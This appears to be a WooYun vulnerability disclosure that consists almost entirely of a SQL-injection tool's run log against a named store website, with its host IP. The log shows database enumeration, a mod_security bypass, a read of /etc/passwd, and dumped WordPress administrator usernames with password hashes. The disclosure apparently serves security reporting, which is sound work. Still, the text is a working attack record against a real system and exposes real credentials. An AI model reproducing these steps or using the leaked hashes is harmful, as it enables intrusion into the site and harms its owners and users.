WooYun.org

......
把胡萝卜的运行日志贴出来
Target: 		http://store.rrs.com/experience-store/ajaxJsp/experience_store.jsp?postType=getExperienceStore&shopId=3
Host IP:		60.211.209.144
Web Server: 	nginx/1.7.0
DB Server: 	MySQL
Resp. Time(avg):	93 ms
Current User: 	tony@120.27.45.4
Current DB: 	experience_store
System User: 	tony@120.27.45.4
Compile OS: 	Linux
DB User: 	'tony'@'%'
Data Bases: 	information_schema
Sql Version: 	5.5.18.1-log
		activity
		brandcoupon
		experience_store
		mysql
		performance_schema
		store
		water
Host IP: 60.211.209.144
Web Server: nginx/1.7.0
Can not find keyword but let me do a try!
I guess injection type is Integer?! If injection failed, retry with a manual keyword.
Can't find db server type! But maybe there be some chances! [-o<
Finding columns count(MySQL,MsSQL 2005): 10
Error (10060): The attempt to connect timed out
Turning on mod_security bypass
Finding columns count(MySQL,MsSQL 2005): 2
Error (10060): The attempt to connect timed out
Selected Column Count is 10
Valid String Column is 1
DB Server: MySQL
Current DB: experience_store
Current User: 	tony@120.27.45.4
Current DB: 	experience_store
System User: 	tony@120.27.45.4
Compile OS: 	Linux
Db user: 'tony'@'%'
Data Base Found: information_schema
Sql Version: 	5.5.18.1-log
Data Base Found: activity
Data Base Found: brandcoupon
Data Base Found: experience_store
Data Base Found: mysql
Data Base Found: performance_schema
Data Base Found: store
Data Base Found: water
Count(table_name) of information_schema.tables where table_schema=0x6272616E64636F75706F6E is 5
Error (10060): The attempt to connect timed out
Can not get all tables by group_concat!
Count(table_name) of information_schema.tables where table_schema=0x6272616E64636F75706F6E is 5
Table found: activity
Table found: article
Table found: article_pic
Table found: our_article
Table found: phone
Count(column_name) of information_schema.columns where table_schema=0x6272616E64636F75706F6E and table_name=0x70686F6E65 is 3
Column found: id
Column found: phone
Column found: operatetime
Count(table_name) of information_schema.tables where table_schema=0x73746F7265 is 0
Bypassing illegal union failed! Turning off this feature
It seems information_schema table does not exist! Trying to guess tables!
Guessing table(66/686): tbl_tbadmin
Canceling...
Total tables found: 0
Job Canceled!
Count(table_name) of information_schema.tables where table_schema=0x7761746572 is 11
Table found: wp_commentmeta
Table found: wp_comments
Table found: wp_postmeta
Table found: wp_links
Table found: wp_posts
Table found: wp_term_relationships
Table found: wp_term_taxonomy
Table found: wp_terms
Table found: wp_users
Table found: wp_options
Reading file: /etc/passwd
File was read
Count(column_name) of information_schema.columns where table_schema=0x7761746572 and table_name=0x77705F7573657273 is 10
Column found: ID
Column found: user_login
Column found: user_pass
Column found: user_nicename
Column found: user_url
Column found: user_registered
Column found: user_activation_key
Column found: user_status
Column found: display_name
Column found: user_email
Count(*) of water.wp_users is 2
Data Found: user_login,user_pass=admin^$P$BlURguHDipQnbzCt84KEOhoF1DOtwA/
Data Found: user_login,user_pass=qilin^$P$Bm5AvyG0lQ.8dVSFsPoMBi7r64NrjV1